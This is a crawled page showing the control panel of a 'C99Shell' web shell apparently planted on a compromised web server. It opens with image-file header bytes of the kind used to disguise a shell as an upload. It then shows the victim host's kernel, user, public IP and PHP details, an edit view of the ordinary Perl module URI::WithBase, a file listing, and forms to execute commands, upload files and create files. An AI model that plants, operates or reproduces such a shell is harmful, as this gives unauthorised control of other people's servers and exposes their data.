Mahdee Rajon

ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon

ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- botbuilder.skeps.io - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux moos 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64 User: ploi Software: nginx/1.18.0 IP: 178.128.254.70 PHP: 8.2.30 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/share/perl5/URI/

Edit File: WithBase.pm

package URI::WithBase;

use strict;
use warnings;

use URI ();
use Scalar::Util qw(blessed);

our $VERSION = '5.10';

use overload '""' => "as_string", fallback => 1;

sub as_string;  # help overload find it

sub new
{
    my($class, $uri, $base) = @_;
    my $ibase = $base;
    if ($base && blessed($base) && $base->isa(__PACKAGE__)) {
	$base = $base->abs;
	$ibase = $base->[0];
    }
    bless [URI->new($uri, $ibase), $base], $class;
}

sub new_abs
{
    my $class = shift;
    my $self = $class->new(@_);
    $self->abs;
}

sub _init
{
    my $class = shift;
    my($str, $scheme) = @_;
    bless [URI->new($str, $scheme), undef], $class;
}

sub eq
{
    my($self, $other) = @_;
    $other = $other->[0] if blessed($other) and $other->isa(__PACKAGE__);
    $self->[0]->eq($other);
}

our $AUTOLOAD;
sub AUTOLOAD
{
    my $self = shift;
    my $method = substr($AUTOLOAD, rindex($AUTOLOAD, '::')+2);
    return if $method eq "DESTROY";
    $self->[0]->$method(@_);
}

sub can {                                  # override UNIVERSAL::can
    my $self = shift;
    $self->SUPER::can(@_) || (
      ref($self)
      ? $self->[0]->can(@_)
      : undef
    )
}

sub base {
    my $self = shift;
    my $base  = $self->[1];

if (@_) { # set
	my $new_base = shift;
	# ensure absoluteness
	$new_base = $new_base->abs if ref($new_base) && $new_base->isa(__PACKAGE__);
	$self->[1] = $new_base;
    }
    return unless defined wantarray;

# The base attribute supports 'lazy' conversion from URL strings
    # to URL objects. Strings may be stored but when a string is
    # fetched it will automatically be converted to a URL object.
    # The main benefit is to make it much cheaper to say:
    #   URI::WithBase->new($random_url_string, 'http:')
    if (defined($base) && !ref($base)) {
	$base = ref($self)->new($base);
	$self->[1] = $base unless @_;
    }
    $base;
}

sub clone
{
    my $self = shift;
    my $base = $self->[1];
    $base = $base->clone if ref($base);
    bless [$self->[0]->clone, $base], ref($self);
}

sub abs
{
    my $self = shift;
    my $base = shift || $self->base || return $self->clone;
    $base = $base->as_string if ref($base);
    bless [$self->[0]->abs($base, @_), $base], ref($self);
}

sub rel
{
    my $self = shift;
    my $base = shift || $self->base || return $self->clone;
    $base = $base->as_string if ref($base);
    bless [$self->[0]->rel($base, @_), $base], ref($self);
}

__END__

=head1 NAME

URI::WithBase - URIs which remember their base

=head1 SYNOPSIS

$u1 = URI::WithBase->new($str, $base);
 $u2 = $u1->abs;

$base = $u1->base;
 $u1->base( $new_base )

=head1 DESCRIPTION

This module provides the C<URI::WithBase> class.  Objects of this class
are like C<URI> objects, but can keep their base too.  The base
represents the context where this URI was found and can be used to
absolutize or relativize the URI.  All the methods described in L<URI>
are supported for C<URI::WithBase> objects.

The methods provided in addition to or modified from those of C<URI> are:

=over 4

=item $uri = URI::WithBase->new($str, [$base])

The constructor takes an optional base URI as the second argument.
If provided, this argument initializes the base attribute.

=item $uri->base( [$new_base] )

Can be used to get or set the value of the base attribute.
The return value, which is the old value, is a URI object or C<undef>.

=item $uri->abs( [$base_uri] )

The $base_uri argument is now made optional as the object carries its
base with it.  A new object is returned even if $uri is already
absolute (while plain URI objects simply return themselves in
that case).

=item $uri->rel( [$base_uri] )

The $base_uri argument is now made optional as the object carries its
base with it.  A new object is always returned.

=back

=head1 SEE ALSO

L<URI>

=head1 COPYRIGHT

=cut

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
Escape.pm	6.9 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
Heuristic.pm	6.37 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
IRI.pm	794 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
QueryParam.pm	4.75 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
Split.pm	2.3 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
URL.pm	5.36 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
WithBase.pm	3.77 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_foreign.pm	107 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_generic.pm	5.69 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_idna.pm	2.03 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_ldap.pm	3.17 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_login.pm	231 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_punycode.pm	5.49 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_query.pm	2.47 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_segment.pm	416 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_server.pm	3.64 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
_userpass.pm	1.01 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
data.pm	3.31 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
file	DIR	20.06.2023 08:10:41	0/0	drwxr-xr-x	Edit Rename
file.pm	9.53 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
ftp.pm	1.03 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
gopher.pm	2.37 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
http.pm	425 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
https.pm	144 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
ldap.pm	2.86 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
ldapi.pm	440 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
ldaps.pm	144 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
mailto.pm	1.62 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
mms.pm	125 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
news.pm	1.42 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
nntp.pm	127 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
nntps.pm	144 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
pop.pm	1.18 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
rlogin.pm	129 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
rsync.pm	207 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
rtsp.pm	125 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
rtspu.pm	126 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
sftp.pm	98 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
sip.pm	1.66 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
sips.pm	143 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
snews.pm	172 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
ssh.pm	175 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
telnet.pm	128 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
tn3270.pm	128 B	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download
urn	DIR	20.06.2023 08:10:41	0/0	drwxr-xr-x	Edit Rename
urn.pm	2.12 KB	25.10.2021 20:58:49	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1779925573.8021 ]--